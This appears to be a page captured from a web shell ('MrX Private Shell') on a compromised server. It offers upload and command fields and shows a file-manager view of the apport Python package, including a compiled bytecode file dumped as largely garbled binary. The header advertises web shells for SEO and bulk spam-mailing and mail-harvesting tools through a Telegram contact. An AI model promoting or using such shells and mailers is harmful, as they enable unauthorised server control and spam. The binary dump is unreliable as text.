__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x6�g3���SrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	J
r SrSr
SSjrS\\\S\-4SS4S	jrSS
\R&S\S-S\S-S
\S-S\\S-S\S\S\S\\\\44Sjjrg)zFunctions to manage sandboxes.�N)�implc�t�0nURSS5SURSS53R5H4nUR5(dMUR5SSup4XAU'M6 [UR55$![a$ [
RRSU5 M~f=f)z�Determine necessary packages for given report.

Return list of (pkgname, version) pairs. version might be None for unknown
package versions.
�Package��
�DependenciesN��%invalid Package/Dependencies line: %s)
�get�
splitlines�strip�split�
ValueError�apport�logging�warning�list�items)�report�pkgs�line�pkg�versions     �5/usr/lib/python3/dist-packages/apport/sandboxutils.py�needed_packagesrs����D��:�:�i��$�
%�R��
�
�>�2�(F�'G�H��j�l����z�z�|�|��	�!�Z�Z�\�"�1�-�N�S�
�S�	����
�
�����
�	��N�N�"�"�#J�D�Q��	�s�B	�	*B7�6B7c�F�0nURSS5SURSS53R5H4nUR5(dMUR5SSup4XAU'M6 U$![a$ [
RRSU5 Mgf=f)z1Return package -> version dictionary from report.rrrrNr	r
)rrr
rrrrr)r�pkg_versrrrs     r�report_package_versionsr1s����H��:�:�i��$�
%�R��
�
�>�2�(F�'G�H��j�l����z�z�|�|��	�!�Z�Z�\�"�1�-�N�S�
 ��
���O��
�	��N�N�"�"�#J�D�Q��	�s�A2�2*B �B c
���[5n[5nSU;a�USR5H�nUR5(dMUR5n[	U5S;dM;SUS;dMFSUS;dMQ[
RRUS5nURU5 M� O0[RRUS5R5n[
RRU5(d[
R"U5 UH�n[R "USUUS	UR#S
5S9n	U	(a@U(a&[R$R'SUS
U	S35 URU	5 Mt[R$R)SU5 M� UV
s/sHo�UR#U
54PM sn
$s sn
f)a�Determine necessary runtime packages for given report.

This determines libraries dynamically loaded at runtime in two cases:
1. The executable has already run: /proc/pid/maps is used, from the report
2. The executable has not already run: shared_libraries() is used

The libraries are resolved to the packages that installed them.

Return list of (pkgname, None) pairs.

When pkgmap_cache_dir is specified, it is used as a cache for
get_file_package().
�ProcMaps>���x�z.so��ExecutablePathT�
DistroRelease�Architecture��release�archzdynamically loaded z needs package z
, queueingz/%s is needed, but cannot be mapped to a package)�setrr
r�len�os�path�realpath�addr�	fileutils�shared_libraries�values�exists�makedirs�	packaging�get_file_packagerr�logr)r�pkgmap_cache_dir�pkg_versions�verboser�libsr�cols�libr�ps           r�needed_runtime_packagesrADs��� �5�D��5�D��V���:�&�1�1�3�D��:�:�<�<���:�:�<�D��4�y�F�"�s�d�1�g�~�%�4��7�:J��g�g�&�&�t�A�w�/������
�
4����0�0��8H�1I�J�Q�Q�S��
�7�7�>�>�*�+�+�
���$�%����(�(�����?�+����N�+�
�������"�"�)�$���s�e�:�N��
�H�H�S�M��N�N�"�"�A�4�
��&/3�3�d��� � ��#�$�d�3�3��3s�?Gr�returnc�t�[U5H)unup#US:XdMURU5 SU4/USS& g g)z2Move base-files to the front or add it if missing.z
base-filesNr)�	enumerate�pop)r�irrs    r�_move_base_files_firstrG{s@��&�t�_���>�C��,���H�H�Q�K�%�w�/�0�D��!�H��	-�r�
config_dir�	cache_dir�sandbox_dir�extra_packagesr<�log_timestamps�dynamic_originsc��
�U(a\[RRU5n[RRU5(d[R"U5 SnO;[
R"SS9n[R"[RU5 SnU(a [RRU5nO9[
R"SS9n[R"[RU5 [RRX S5n	/n
SU;d)SURS	S
5URSS
5-;a[U5n
US:XaS
nS
nU(a�URS	S
5SURSS
53n[R"S5n
[!U
R#U55nU(a"[$R&R)SU35 [+U
5 [,R."UUUSU
UUUURS5US9	nU(aGW[,R."UUUSUVs/sHnUS
4PM	 snUUUURS5USSS9-
n[7U5n[9X	UU5n
SH�nUU;dM[,R:"UUSU	USURS5S9nUS:XaUSS:XaSUS'SnU(aJ[$R&R)SUSU3U5 U
R=UURU545 M�[$R&R3SUUU5 M� U
(a2W[,R."UUUSU
UUUURS5US9	-
nS	U;a�SH�nUU;dM[RR?X0U-5(aM6UURAS5(ae[RR?X0US S
-5(a
UUS S
UU'M�[$R&R3S!UX0U-US	5 M�[$R&R3S!UX0U-US	5 M� W(aX�S"'[$R&RCS#5 X2U4$![0a4n[$R&R3S[5U55 S
nAGN�S
nAff=fs snf![0a4n[$R&R3S[5U55 S
nAGN�S
nAff=f![0a4n[$R&R3S[5U55 S
nAGN�S
nAff=f)$a�Build a sandbox with the packages that belong to a particular report.

This downloads and unpacks all packages from the report's Package and
Dependencies fields, plus all packages that ship the files from ProcMaps
(often, runtime plugins do not appear in Dependencies), plus optionally
some extra ones, for the distro release and architecture of the report.

For unpackaged executables, there are no Dependencies. Packages for shared
libraries are unpacked.

report is an apport.Report object to build a sandbox for. Presence of the
Package field determines whether to determine dependencies through
packaging (via the optional report['Dependencies'] field), or through ldd
via needed_runtime_packages() -> shared_libraries().  Usually
report['Architecture'] and report['Uname'] are present.

config_dir points to a directory with by-release configuration files for
the packaging system, or "system"; this is passed to
apport.packaging.install_packages(), see that method for details.

cache_dir points to a directory where the downloaded packages and debug
symbols are kept, which is useful if you create sandboxes very often. If
not given, the downloaded packages get deleted at program exit.

sandbox_dir points to a directory with a permanently unpacked sandbox with
the already unpacked packages. This speeds up operations even further if
you need to create sandboxes for different reports very often; but the
sandboxes can become very big over time, and you must ensure that an
already existing sandbox matches the DistroRelease: and Architecture: of
report. If not given, a temporary directory will be created which gets
deleted at program exit.

extra_packages can specify a list of additional packages to install which
are not derived from the report and will be installed along with their
dependencies.

If verbose is True (False by default), this will write some additional
logging to stdout.

If log_timestamps is True, these log messages will be prefixed with the
current time.

If dynamic_origins is True (False by default), the sandbox will be built
with packages from foreign origins that appear in the report's
Packages:/Dependencies:.

Return a tuple (sandbox_dir, cache_dir, outdated_msg).
T�apport_sandbox_)�prefixF�
apport_cache_r'r z[originrrr�systemNrz+\[origin: ([a-zA-Z0-9][a-zA-Z0-9\+\.\-]+)\]z	Origins: r()�architecture�originsz%s)rTrU�install_dbg�install_deps)�InterpreterPathr&r)�	systemctl�
SourcePackage�systemdz/bin/systemctlr&zInstalling extra package z to get z%Cannot find package which ships %s %sz/usr�z2%s %s does not exist (report specified package %s)�RetraceOutdatedPackagesz
built sandbox)"r.r/�abspath�isdirr6�tempfile�mkdtemp�atexit�register�shutil�rmtree�joinrr�re�compiler,�findallrrr9rGr7�install_packages�SystemError�fatal�strrrAr8�appendr5�
startswith�memdbg)rrIrJrKrLr<rMrN�permanent_rootdirr:rrU�pkg_list�match�outdated_msg�errorr@r;r/rs                    r�make_sandboxrv�s���z��g�g�o�o�k�2���w�w�}�}�[�)�)��K�K��$� ���&�&�.?�@������
�
�{�3�!����G�G�O�O�I�.�	��$�$�O�<�	�����
�
�y�1��w�w�|�|�I�o�/F�G��
�D�
���9��
�
�9�b�!�F�J�J�~�r�$B�B�$��v�&���X���
��G���j�j��B�/�0��6�:�:�n�b�3Q�2R�S���
�
�I�J���e�m�m�H�-�.����N�N����7�)�4�5��4� �
/� �1�1����?�#��������N�3��

���	3��I�6�6�����'�$2�3�N�q�!�T��N�3���!�#�Z�Z��7��!�!��
�L� +�6�2�L�"�6�\�7�S�D�6���6�>��,�,��t��� ���/��Z�Z��/��C��k�!��/�*�i�7�/?�F�+�,�#�C�����"�"�/��u�H�T�F�C�^�����S�,�"2�"2�3�"7�8�9����$�$�;�T�6�$�<��/6�8�
	3��I�6�6�����'����!�#�Z�Z��7��
�

�L�$�F��9�D��v�~�b�g�g�n�n�[�$�<�5O�&P�&P��$�<�*�*�6�2�2��w�w�~�~�k�4�L���4D�&D�E�E�'-�d�|�A�B�'7��t�����,�,�P� �'��,�6�"�9�-�	��N�N�(�(�L��#�T�l�2��y�)�	�:�(�,8�(�)�
�N�N���/�*��<�/�/��K�/������T�3�u�:�.�.��/��4���	3��N�N� � ��s�5�z�2�2��	3��b�	3��N�N� � ��s�5�z�2�2��	3�sZ�:.R(�0S.�S)�S.�1T/�(
S&�2)S!�!S&�)S.�.
T,�8)T'�'T,�/
U-�9)U(�(U-)F)NNNFFF)�__doc__rbr.rgrdr`�apport.fileutilsr�apport.logging�apport.packaging_implrr7rrrAr�tuplermrG�Report�boolrv�rHr�<module>rs���$��	�	�
����3��2�&44�n��e�C����O�&<�!=��$��!�"�'+�� �!�Z0��M�M�Z0��d�
�Z0��T�z�Z0��t��	Z0�
��I��$�Z0��
Z0��Z0��Z0��3��S�=��Z0rH

Filemanager

Name Type Size Permission Actions
REThread.cpython-313.pyc File 2.85 KB 0644
__init__.cpython-313.pyc File 954 B 0644
crashdb.cpython-313.pyc File 34.04 KB 0644
fileutils.cpython-313.pyc File 31.92 KB 0644
hookutils.cpython-313.pyc File 47.15 KB 0644
logging.cpython-313.pyc File 2.97 KB 0644
packaging.cpython-313.pyc File 14.2 KB 0644
report.cpython-313.pyc File 82.55 KB 0644
sandboxutils.cpython-313.pyc File 12.43 KB 0644
ui.cpython-313.pyc File 87.14 KB 0644
user_group.cpython-313.pyc File 1.81 KB 0644
Filemanager